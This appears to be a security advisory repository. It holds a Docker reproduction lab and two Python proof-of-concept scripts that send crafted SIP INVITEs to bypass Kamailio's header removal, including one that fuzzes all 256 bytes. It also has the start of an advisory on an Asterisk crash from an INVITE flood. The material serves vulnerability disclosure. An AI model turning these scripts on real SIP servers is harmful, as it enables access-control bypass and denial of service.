subversion libfreeradius-dev libtool libspandsp-dev freetds-dev uuid-dev libvpb-dev libsqlite3-dev portaudio19-dev liblua5.3-dev software-properties-common tcpdump libxml2-dev libedit-dev libopusfile-dev bison libvorbis-dev libasound2-dev libjack-dev g++ libjansson-dev liblua5.1-0-dev vim binutils-dev libtermkey-dev gdb unixodbc-dev gnuplot htop libogg-dev flex libiksemel-dev libgsm1-dev ncurses-dev libgtk2.0-dev python libical-dev netcat git libsrtp-dev libssl-dev net-tools 13 | 14 | WORKDIR /usr/local/src 15 | 16 | COPY __download.sh __download.sh 17 | RUN ./__download.sh 18 | 19 | WORKDIR /usr/local/src/asterisk 20 | 21 | COPY __buildsequence.sh __buildsequence.sh 22 | RUN ./__buildsequence.sh 23 | 24 | FROM ubuntu:18.04 25 | COPY --from=0 /opt/asterisk/ /opt/asterisk/ 26 | 27 | RUN printf "APT::Get::Assume-Yes \"true\";\nAPT::Get::force-yes \"true\";" > /etc/apt/apt.conf.d/90forceyes 28 | ENV DEBIAN_FRONTEND noninteractive 29 | 30 | RUN apt-get update 31 | 32 | RUN apt-get install -y libxml2 libjansson4 libsqlite3-0 libxslt1.1 libncurses5 openssl uuid liburiparser1 libbinutils libedit2 libgsm1 iproute2 libcap2 33 | 34 | COPY config/* /opt/asterisk/etc/asterisk/ 35 | 36 | WORKDIR /opt/run/asterisk 37 | 38 | COPY run.sh run.sh 39 | 40 | CMD [ "./run.sh" ] -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/__buildsequence.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | contrib/scripts/install_prereq install 3 | 4 | ./configure --prefix=/opt/asterisk --with-pjproject-bundled --with-jansson-bundled 5 | make menuselect.makeopts 6 | 7 | # enable the extra logging 8 | menuselect/menuselect --enable DONT_OPTIMIZE menuselect.makeopts 9 | menuselect/menuselect --enable BETTER_BACKTRACES menuselect.makeopts 10 | 11 | # enable opus 12 | menuselect/menuselect --enable codec_opus menuselect.makeopts 13 | 14 | # disable stuff we do not need 15 | menuselect/menuselect --disable ODBC_STORAGE menuselect.makeopts 16 | menuselect/menuselect --disable CHAN_IAX2 menuselect.makeopts 17 | menuselect/menuselect --disable CHAN_MGCP menuselect.makeopts 18 | menuselect/menuselect --disable CHAN_SKINNY menuselect.makeopts 19 | menuselect/menuselect --disable CHAN_UNISTIM menuselect.makeopts 20 | menuselect/menuselect --disable CHAN_OSS menuselect.makeopts 21 | menuselect/menuselect --disable CHAN_PHONE menuselect.makeopts 22 | menuselect/menuselect --disable CDR_SQLITE3_CUSTOM menuselect.makeopts 23 | menuselect/menuselect --disable CEL_SQLITE3_CUSTOM menuselect.makeopts 24 | menuselect/menuselect --disable PBX_DUNDI menuselect.makeopts 25 | menuselect/menuselect --disable CHAN_MOBILE menuselect.makeopts 26 | menuselect/menuselect --disable CHAN_OOH323 menuselect.makeopts 27 | menuselect/menuselect --disable APP_MYSQL menuselect.makeopts 28 | menuselect/menuselect --disable APP_DISA menuselect.makeopts 29 | menuselect/menuselect --disable CHAN_DAHDI menuselect.makeopts 30 | menuselect/menuselect --disable CHAN_MOTIF menuselect.makeopts 31 | menuselect/menuselect --disable CHAN_MSIDN menuselect.makeopts 32 | menuselect/menuselect --disable CHAN_NBS menuselect.makeopts 33 | menuselect/menuselect --disable CHAN_VPB menuselect.makeopts 34 | 35 | # build 36 | make -j`grep ^cpu\scores /proc/cpuinfo | uniq | awk '{print $4}'` 37 | make install 38 | 39 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/__download.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ ! -f "asterisk-${ASTERISK_VERSION}.tar.gz" ]; then 4 | wget "http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-${ASTERISK_VERSION}.tar.gz" 5 | fi 6 | 7 | if [ ! -d "asterisk-${ASTERISK_VERSION}" ]; then 8 | tar xzvf "asterisk-${ASTERISK_VERSION}.tar.gz" 9 | mv "asterisk-${ASTERISK_VERSION}" asterisk 10 | fi 11 | 12 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/acl.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2020-01-kamailio-remove-hf/repro/asterisk/config/acl.conf -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/asterisk.conf: -------------------------------------------------------------------------------- 1 | [options] 2 | verbose = 0 3 | debug = 0 4 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/ccss.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2020-01-kamailio-remove-hf/repro/asterisk/config/ccss.conf -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/cdr.conf: -------------------------------------------------------------------------------- 1 | [general] 2 | enable=yes 3 | 4 | [custom] 5 | ; We log the unique ID as it can be useful for troubleshooting any issues 6 | ; that arise. 7 | loguniqueid=yes 8 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/cdr_custom.conf: -------------------------------------------------------------------------------- 1 | [mappings] 2 | ; Our CDR log will be written to /var/log/asterisk/cdr-custom/Master.csv 3 | ; with the following schema. 4 | Master.csv => ${CSV_QUOTE(${CDR(clid)})},${CSV_QUOTE(${CDR(src)})},${CSV_QUOTE(${CDR(dst)})},${CSV_QUOTE(${CDR(dcontext)})},${CSV_QUOTE(${CDR(channel)})},${CSV_QUOTE(${CDR(dstchannel)})},${CSV_QUOTE(${CDR(lastapp)})},${CSV_QUOTE(${CDR(lastdata)})},${CSV_QUOTE(${CDR(start)})},${CSV_QUOTE(${CDR(answer)})},${CSV_QUOTE(${CDR(end)})},${CSV_QUOTE(${CDR(duration)})},${CSV_QUOTE(${CDR(billsec)})},${CSV_QUOTE(${CDR(disposition)})},${CSV_QUOTE(${CDR(amaflags)})},${CSV_QUOTE(${CDR(accountcode)})},${CSV_QUOTE(${CDR(uniqueid)})},${CSV_QUOTE(${CDR(userfield)})},${CDR(sequence)} 5 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/cel.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2020-01-kamailio-remove-hf/repro/asterisk/config/cel.conf -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/confbridge.conf: -------------------------------------------------------------------------------- 1 | ; All conferences use default settings. This config must be present to load the confbridge application 2 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf: -------------------------------------------------------------------------------- 1 | [anon] 2 | exten = headerbypass,1,Verbose(1, "User ${CALLERID(num)} calling extension") 3 | same = n,Set(HDR=${PJSIP_HEADER(read,X-Bypass-me)}) 4 | same = n,Set(CHR=${PJSIP_HEADER(read,call-id)}) 5 | same = n,GotoIf($[${HDR}]?internal,bypassed,1) 6 | same = n,Hangup() 7 | 8 | [internal] 9 | exten = bypassed,1,Log(ERROR, "Header X-Bypass-me is ${HDR}, character: ${CHR}") 10 | same = n,Answer() 11 | same = n,Hangup() 12 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/features.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2020-01-kamailio-remove-hf/repro/asterisk/config/features.conf -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/indications.conf: -------------------------------------------------------------------------------- 1 | [general] 2 | country = us ; We are in Waldo, Al, USA so the US is our default. 3 | 4 | [us] 5 | description = United States / North America 6 | ringcadence = 2000,4000 7 | dial = 350+440 8 | busy = 480+620/500,0/500 9 | ring = 440+480/2000,0/4000 10 | congestion = 480+620/250,0/250 11 | callwaiting = 440/300,0/10000 12 | dialrecall = !350+440/100,!0/100,!350+440/100,!0/100,!350+440/100,!0/100,350+440 13 | record = 1400/500,0/15000 14 | info = !950/330,!1400/330,!1800/330,0 15 | stutter = !350+440/100,!0/100,!350+440/100,!0/100,!350+440/100,!0/100,!350+440/100,!0/100,!350+440/100,!0/100,!350+440/100,!0/100,350+440 16 | 17 | ; Additional country configurations can be found in the Asterisk source 18 | ; at /configs/samples/indications.conf.sample 19 | 20 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/logger.conf: -------------------------------------------------------------------------------- 1 | [general] 2 | 3 | [logfiles] 4 | console => warning,error,dtmf 5 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/manager.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2020-01-kamailio-remove-hf/repro/asterisk/config/manager.conf -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/modules.conf: -------------------------------------------------------------------------------- 1 | [modules] 2 | autoload = no 3 | 4 | ; This is a minimal module load. We are loading only the modules required for 5 | ; the Asterisk features used in the Super Awesome Company configuration. 6 | 7 | ; Applications 8 | 9 | load = app_bridgewait.so 10 | load = app_dial.so 11 | load = app_playback.so 12 | load = app_stack.so 13 | load = app_verbose.so 14 | load = app_voicemail.so 15 | load = app_directory.so 16 | load = app_confbridge.so 17 | load = app_queue.so 18 | load = app_echo.so 19 | 20 | ; Bridging 21 | 22 | load = bridge_builtin_features.so 23 | load = bridge_builtin_interval_features.so 24 | load = bridge_holding.so 25 | load = bridge_native_rtp.so 26 | load = bridge_simple.so 27 | load = bridge_softmix.so 28 | 29 | ; Call Detail Records 30 | 31 | load = cdr_custom.so 32 | 33 | ; Channel Drivers 34 | 35 | load = chan_bridge_media.so 36 | load = chan_pjsip.so 37 | 38 | ; Codecs 39 | 40 | load = codec_gsm.so 41 | load = codec_resample.so 42 | load = codec_ulaw.so 43 | load = codec_alaw.so 44 | load = codec_g722.so 45 | 46 | ; Formats 47 | 48 | load = format_gsm.so 49 | load = format_pcm.so 50 | load = format_wav_gsm.so 51 | load = format_wav.so 52 | 53 | ; Functions 54 | 55 | load = func_callerid.so 56 | load = func_cdr.so 57 | load = func_pjsip_endpoint.so 58 | load = func_sorcery.so 59 | load = func_devstate.so 60 | load = func_strings.so 61 | 62 | ; Core/PBX 63 | 64 | load = pbx_config.so 65 | 66 | ; Resources 67 | 68 | ;load = res_http_websocket.so 69 | load = res_musiconhold.so 70 | load = res_pjproject.so 71 | load = res_pjsip_acl.so 72 | load = res_pjsip_authenticator_digest.so 73 | load = res_pjsip_caller_id.so 74 | load = res_pjsip_dialog_info_body_generator.so 75 | load = res_pjsip_diversion.so 76 | load = res_pjsip_dtmf_info.so 77 | load = res_pjsip_endpoint_identifier_anonymous.so 78 | load = res_pjsip_endpoint_identifier_ip.so 79 | load = res_pjsip_endpoint_identifier_user.so 80 | load = res_pjsip_exten_state.so 81 | load = res_pjsip_header_funcs.so 82 | load = res_pjsip_logger.so 83 | load = res_pjsip_messaging.so 84 | load = res_pjsip_mwi_body_generator.so 85 | load = res_pjsip_mwi.so 86 | load = res_pjsip_nat.so 87 | load = res_pjsip_notify.so 88 | load = res_pjsip_one_touch_record_info.so 89 | load = res_pjsip_outbound_authenticator_digest.so 90 | load = res_pjsip_outbound_publish.so 91 | load = res_pjsip_outbound_registration.so 92 | load = res_pjsip_path.so 93 | load = res_pjsip_pidf_body_generator.so 94 | load = res_pjsip_pidf_digium_body_supplement.so 95 | load = res_pjsip_pidf_eyebeam_body_supplement.so 96 | load = res_pjsip_publish_asterisk.so 97 | load = res_pjsip_pubsub.so 98 | load = res_pjsip_refer.so 99 | load = res_pjsip_registrar.so 100 | load = res_pjsip_rfc3326.so 101 | load = res_pjsip_sdp_rtp.so 102 | load = res_pjsip_send_to_voicemail.so 103 | load = res_pjsip_session.so 104 | load = res_pjsip.so 105 | load = res_pjsip_t38.so 106 | ;load = res_pjsip_transport_websocket.so 107 | load = res_pjsip_xpidf_body_generator.so 108 | load = res_rtp_asterisk.so 109 | load = res_sorcery_astdb.so 110 | load = res_sorcery_config.so 111 | load = res_sorcery_memory.so 112 | load = res_sorcery_realtime.so 113 | load = res_timing_timerfd.so 114 | load = pbx_spool.so 115 | 116 | ; Don't load res_hep.so and kin unless you are using hep monitoring in your network 117 | 118 | noload = res_hep.so 119 | noload = res_hep_pjsip.so 120 | noload = res_hep_rtcp.so 121 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/musiconhold.conf: -------------------------------------------------------------------------------- 1 | [general] 2 | 3 | [default] 4 | mode = files 5 | directory = moh 6 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/pjproject.conf: -------------------------------------------------------------------------------- 1 | [startup] 2 | log_level=0 3 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/pjsip.conf: -------------------------------------------------------------------------------- 1 | [transport-tcp] 2 | type = transport 3 | protocol = tcp 4 | bind = 127.0.0.1:5090 5 | 6 | [anonymous] 7 | type = endpoint 8 | context = anon 9 | allow = all 10 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/pjsip_notify.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2020-01-kamailio-remove-hf/repro/asterisk/config/pjsip_notify.conf -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/queues.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2020-01-kamailio-remove-hf/repro/asterisk/config/queues.conf -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/config/rtp.conf: -------------------------------------------------------------------------------- 1 | [general] 2 | rtpstart=10000 3 | rtpend=15000 4 | 5 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | exec /opt/asterisk/sbin/asterisk -f 4 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | asterisk: 5 | build: 6 | context: asterisk 7 | args: 8 | - ASTERISK_VERSION=17.5.1 9 | network_mode: "host" 10 | kamailio: 11 | build: 12 | context: kamailio 13 | args: 14 | - KAMAILIO_VERSION=5.3.5 15 | depends_on: 16 | - asterisk 17 | network_mode: "host" 18 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/find-bypass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" 3 | sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" 4 | sipmsg += "Max-Forwards: 70\r\n" 5 | sipmsg += "From: ;tag=%s\r\n" 6 | sipmsg += "To: sip:whatever@whatever.local\r\n" 7 | sipmsg += "Call-ID: %s\r\n" 8 | sipmsg += "CSeq: 1 INVITE\r\n" 9 | sipmsg += "Contact: \r\n" 10 | sipmsg += "X-Bypass-me%s: lol\r\n" 11 | sipmsg += "Content-Length: 237\r\n" 12 | sipmsg += "Content-Type: application/sdp\r\n" 13 | sipmsg += "\r\n" 14 | sipmsg += "v=0\r\n" 15 | sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" 16 | sipmsg += "s=-\r\n" 17 | sipmsg += "c=IN IP4 127.0.0.1\r\n" 18 | sipmsg += "t=0 0\r\n" 19 | sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" 20 | sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" 21 | sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" 22 | sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" 23 | sipmsg += "a=rtpmap:96 opus/8000/2\r\n" 24 | sipmsg += "a=sendrecv\r\n" 25 | 26 | target = ("127.0.0.1",5060) 27 | 28 | import socket 29 | import time 30 | s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 31 | s.bind(("0.0.0.0",5088)) 32 | for i in range(256): 33 | data = sipmsg % (i,i,i,chr(i)) 34 | s.sendto(data.encode("utf-8"), target) 35 | time.sleep(5) -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/inviterequest.tpl: -------------------------------------------------------------------------------- 1 | INVITE {{.RequestURI}} SIP/2.0 2 | Via: SIP/2.0/{{.AddrFamily}} {{.LocalAddr}};rport;branch=z9hG4bK-{{.Branch}} 3 | Max-Forwards: 70 4 | From: {{.FromVal}} 5 | To: {{.ToVal}} 6 | Call-ID: {{.CallID}} 7 | CSeq: {{.CSeq}} INVITE 8 | Contact: {{.ContactVal}} 9 | Content-Length: {{.Body | len}} 10 | X-Bypass-me : yes please 11 | Content-Type: application/sdp 12 | 13 | {{.Body -}} 14 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/kamailio/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | ARG KAMAILIO_VERSION 4 | 5 | RUN echo "Building Kamailio ${KAMAILIO_VERSION}" 6 | 7 | RUN printf "APT::Get::Assume-Yes \"true\";\nAPT::Get::force-yes \"true\";" > /etc/apt/apt.conf.d/90forceyes 8 | ENV DEBIAN_FRONTEND noninteractive 9 | 10 | RUN apt-get update 11 | 12 | RUN apt-get install -y libpcre2-dev htop software-properties-common git bison gdb libssl-dev netcat inotify-tools net-tools sudo wget build-essential libmysqlclient-dev libunistring-dev autoconf flex screen rtpproxy g++ subversion gnuplot python libtool libxml2-dev vim tcpdump 13 | 14 | WORKDIR /usr/local/src 15 | 16 | COPY __download.sh __download.sh 17 | RUN ./__download.sh 18 | 19 | WORKDIR /usr/local/src/kamailio 20 | 21 | COPY __buildsequence.sh __buildsequence.sh 22 | RUN ./__buildsequence.sh 23 | 24 | FROM ubuntu:18.04 25 | COPY --from=0 /opt/kamailio/ /opt/kamailio/ 26 | 27 | RUN printf "APT::Get::Assume-Yes \"true\";\nAPT::Get::force-yes \"true\";" > /etc/apt/apt.conf.d/90forceyes 28 | ENV DEBIAN_FRONTEND noninteractive 29 | 30 | RUN apt-get update 31 | 32 | RUN apt-get install -y libssl1.1 iproute2 33 | 34 | COPY config/ /opt/kamailio/etc/kamailio/ 35 | 36 | WORKDIR /opt/run/kamailio 37 | 38 | COPY run.sh run.sh 39 | 40 | CMD [ "./run.sh" ] -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/kamailio/__buildsequence.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | make PREFIX="/opt/kamailio" include_modules="" cfg 3 | make all 4 | make install 5 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/kamailio/__download.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ ! -f "kamailio-${KAMAILIO_VERSION}_src.tar.gz" ]; then 4 | wget "https://www.kamailio.org/pub/kamailio/${KAMAILIO_VERSION}/src/kamailio-${KAMAILIO_VERSION}_src.tar.gz" 5 | fi 6 | 7 | if [ ! -d "kamailio-${KAMAILIO_VERSION}_src" ]; then 8 | tar xzvf kamailio-${KAMAILIO_VERSION}_src.tar.gz 9 | mv "kamailio-${KAMAILIO_VERSION}" kamailio 10 | fi 11 | 12 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/kamailio/config/kamailio.cfg: -------------------------------------------------------------------------------- 1 | #!KAMAILIO 2 | 3 | #!define ASTERISK "127.0.0.1" 4 | #!define ASTERISK_PORT "5090" 5 | 6 | 7 | ####### Global Parameters ######### 8 | 9 | ### LOG Levels: 3=DBG, 2=INFO, 1=NOTICE, 0=WARN, -1=ERR 10 | debug=2 11 | log_stderror=yes 12 | 13 | memdbg=5 14 | memlog=5 15 | 16 | log_facility=LOG_LOCAL0 17 | log_prefix="{$mt $hdr(CSeq) $ci} " 18 | 19 | /* number of SIP routing processes */ 20 | children=8 21 | 22 | tcp_max_connections=2048 23 | 24 | /* set paths to location of modules */ 25 | loadmodule "jsonrpcs.so" 26 | loadmodule "kex.so" 27 | loadmodule "corex.so" 28 | loadmodule "tm.so" 29 | loadmodule "tmx.so" 30 | loadmodule "sl.so" 31 | loadmodule "rr.so" 32 | loadmodule "pv.so" 33 | loadmodule "maxfwd.so" 34 | loadmodule "textops.so" 35 | loadmodule "siputils.so" 36 | loadmodule "xlog.so" 37 | loadmodule "sanity.so" 38 | loadmodule "ctl.so" 39 | loadmodule "cfg_rpc.so" 40 | loadmodule "acc.so" 41 | loadmodule "counters.so" 42 | loadmodule "stun.so" 43 | loadmodule "nathelper.so" 44 | 45 | 46 | loadmodule "usrloc.so" 47 | loadmodule "ipops.so" 48 | 49 | # ----------------- setting module-specific parameters --------------- 50 | 51 | 52 | # ----- jsonrpcs params ----- 53 | modparam("jsonrpcs", "pretty_format", 1) 54 | /* set the path to RPC fifo control file */ 55 | 56 | # ----- tm params ----- 57 | # auto-discard branches from previous serial forking leg 58 | modparam("tm", "failure_reply_mode", 3) 59 | # default retransmission timeout: 30sec 60 | modparam("tm", "fr_timer", 30000) 61 | # default invite retransmission timeout after 1xx: 120sec 62 | modparam("tm", "fr_inv_timer", 120000) 63 | 64 | # ----- rr params ----- 65 | # set next param to 1 to add value to ;lr param (helps with some UAs) 66 | modparam("rr", "enable_full_lr", 0) 67 | # do not append from tag to the RR (no need for this script) 68 | modparam("rr", "append_fromtag", 0) 69 | 70 | # ----- acc params ----- 71 | /* what special events should be accounted ? */ 72 | modparam("acc", "early_media", 0) 73 | modparam("acc", "report_ack", 0) 74 | modparam("acc", "report_cancels", 0) 75 | /* by default ww do not adjust the direct of the sequential requests. 76 | * if you enable this parameter, be sure the enable "append_fromtag" 77 | * in "rr" module */ 78 | modparam("acc", "detect_direction", 0) 79 | 80 | modparam("sanity", "autodrop", 0) 81 | 82 | 83 | 84 | tcp_connection_lifetime=3604 85 | tcp_accept_no_cl=yes 86 | tcp_rd_buf_size=16384 87 | 88 | 89 | ####### Routing Logic ######## 90 | 91 | 92 | /* Main SIP request routing logic 93 | * - processing of any incoming SIP request starts with this route 94 | * - note: this is the same as route { ... } */ 95 | 96 | request_route { 97 | remove_hf("X-Bypass-me"); 98 | /* 99 | if (remove_hf("X-Bypass-me")) { 100 | xlog("L_ALERT","removed header\n"); 101 | } else { 102 | xlog("L_ALERT","no header removed\n"); 103 | } */ 104 | 105 | # per request initial checks 106 | route(REQINIT); 107 | 108 | 109 | route(SETDESTINATION); 110 | 111 | remove_hf("Route"); 112 | if (is_method("INVITE|SUBSCRIBE")) { 113 | record_route(); 114 | } 115 | 116 | route(RELAY); 117 | exit; 118 | } 119 | 120 | 121 | # Wrapper for relaying requests 122 | route[RELAY] { 123 | forward(); 124 | } 125 | 126 | # Per SIP request initial checks 127 | route[REQINIT] { 128 | if (!mf_process_maxfwd_header("10")) { 129 | sl_send_reply("483","Too Many Hops"); 130 | exit; 131 | } 132 | 133 | if(!sanity_check("1511", "7")) { 134 | xlog("Malformed SIP message from $si:$sp\n"); 135 | exit; 136 | } 137 | } 138 | 139 | 140 | 141 | route[SETDESTINATION] { 142 | # update $du to set the destination address for proxying 143 | if (compare_ips(ASTERISK, $si) && $sp == ASTERISK_PORT) { 144 | $du = $ru; 145 | } 146 | if (!isdsturiset()) { 147 | $du = "sip:" + ASTERISK + ":" + ASTERISK_PORT + ";transport=tcp"; 148 | } 149 | } 150 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/kamailio/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -x 3 | exec /opt/kamailio/sbin/kamailio -DD -f /opt/kamailio/etc/kamailio/kamailio.cfg 4 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/quickdemo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" 3 | sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" 4 | sipmsg += "Max-Forwards: 70\r\n" 5 | sipmsg += "From: ;tag=%s\r\n" 6 | sipmsg += "To: sip:whatever@whatever.local\r\n" 7 | sipmsg += "Call-ID: %s\r\n" 8 | sipmsg += "CSeq: 1 INVITE\r\n" 9 | sipmsg += "Contact: \r\n" 10 | sipmsg += "X-Bypass-me : lol\r\n" 11 | sipmsg += "Content-Length: 237\r\n" 12 | sipmsg += "Content-Type: application/sdp\r\n" 13 | sipmsg += "\r\n" 14 | sipmsg += "v=0\r\n" 15 | sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" 16 | sipmsg += "s=-\r\n" 17 | sipmsg += "c=IN IP4 127.0.0.1\r\n" 18 | sipmsg += "t=0 0\r\n" 19 | sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" 20 | sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" 21 | sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" 22 | sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" 23 | sipmsg += "a=rtpmap:96 opus/8000/2\r\n" 24 | sipmsg += "a=sendrecv\r\n" 25 | 26 | target = ("127.0.0.1",5060) 27 | 28 | import socket 29 | import time 30 | from random import randint 31 | s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 32 | s.bind(("0.0.0.0",5088)) 33 | r = randint(1000,9999) 34 | data = sipmsg % (r,r,r) 35 | s.sendto(data.encode("utf-8"), target) 36 | while True: 37 | data,addr=s.recvfrom(4096) 38 | print(data.decode("utf-8")) 39 | time.sleep(5) 40 | -------------------------------------------------------------------------------- /ES2020-02-asterisk-tcp-invite-crash/README.md: -------------------------------------------------------------------------------- 1 | # Asterisk crash due to INVITE flood over TCP 2 | 3 | - Fixed versions: 13.37.1, 16.14.1, 17.8.1, 18.0.1 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2020-02-asterisk-tcp-invite-crash 5 | - Asterisk Security Advisory: https://downloads.asterisk.org/pub/security/AST-2020-001.html 6 | - References: AST-2020-001, CVE-2020-28327 7 | - Tested vulnerable versions: 17.5.1, 17.6.0 8 | - Timeline: 9 | - Report date: 2020-08-31 10 | - Triaged: 2020-09-01 11 | - Fix provided for testing: 2020-10-29 12 | - Asterisk release with fix: 2020-11-05 13 | - Enable Security advisory: 2020-11-06 14 | 15 | ## Description 16 | 17 | When an Asterisk instance is flooded with INVITE messages over TCP, it was observed that after some time Asterisk crashes due to a segmentation fault. The backtrace generated after the crash is: 18 | 19 | ``` 20 | 3276 PJ_ASSERT_RETURN((cseq=(pjsip_cseq_hdr*)pjsip_msg_find_hdr(tdata->msg, PJSIP_H_CSEQ, NULL))!=NULL 21 | (gdb) bt 22 | #0 0x00007ffff7df1b80 in pjsip_inv_send_msg (inv=0x7fffc88aa5a8, tdata=0x7fffa706a6d8) at ../src/pjsip-ua/sip_inv.c:3276 23 | #1 0x00007ffff4623c41 in ast_sip_session_send_response (session=0x7fffc88ab9f0, tdata=0x7fffa706a6d8) at res_pjsip_session.c:1917 24 | #2 0x00007ffff4627b6b in new_invite (invite=0x7fff94eccb60) at res_pjsip_session.c:3253 25 | #3 0x00007ffff462815b in handle_new_invite_request (rdata=0x7fffa61ec608) at res_pjsip_session.c:3382 26 | #4 0x00007ffff462833d in session_on_rx_request (rdata=0x7fffa61ec608) at res_pjsip_session.c:3446 27 | #5 0x00007ffff7e190ec in pjsip_endpt_process_rx_data (endpt=0x5555559c9d18, rdata=0x7fffa61ec608, p=0x7ffff47c66a0 , p_handled=0x7fff94eccc6c) at ../src/pjsip/sip_endpoint.c:930 28 | #6 0x00007ffff47922a1 in distribute (data=0x7fffa61ec608) at res_pjsip/pjsip_distributor.c:955 29 | #7 0x000055555574c7e1 in ast_taskprocessor_execute (tps=0x555555bb5a80) at taskprocessor.c:1237 30 | #8 0x0000555555756dc7 in execute_tasks (data=0x555555bb5a80) at threadpool.c:1354 31 | #9 0x000055555574c7e1 in ast_taskprocessor_execute (tps=0x5555559c8040) at taskprocessor.c:1237 32 | #10 0x0000555555754698 in threadpool_execute (pool=0x5555559c6070) at threadpool.c:367 33 | #11 0x000055555575655d in worker_active (worker=0x7fff98003e50) at threadpool.c:1137 34 | #12 0x00005555557562bb in worker_start (arg=0x7fff98003e50) at threadpool.c:1056 35 | #13 0x00005555557604ad in dummy_start (data=0x7fffa41fb6e0) at utils.c:1249 36 | #14 0x00007ffff764e609 in start_thread (arg=) at pthread_create.c:477 37 | #15 0x00007ffff728b103 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 38 | ``` 39 | 40 | ## Impact 41 | 42 | Abuse of this vulnerability leads to denial of service in Asterisk when SIP over TCP is in use. 43 | 44 | ## How to reproduce the issue 45 | 46 | The following `pjsip.conf` configuration file was used to facilitate the reproduction of this issue: 47 | 48 | ``` 49 | [global] 50 | debug=yes 51 | 52 | [transport-tcp] 53 | type = transport 54 | protocol = tcp 55 | bind = 0.0.0.0 56 | 57 | 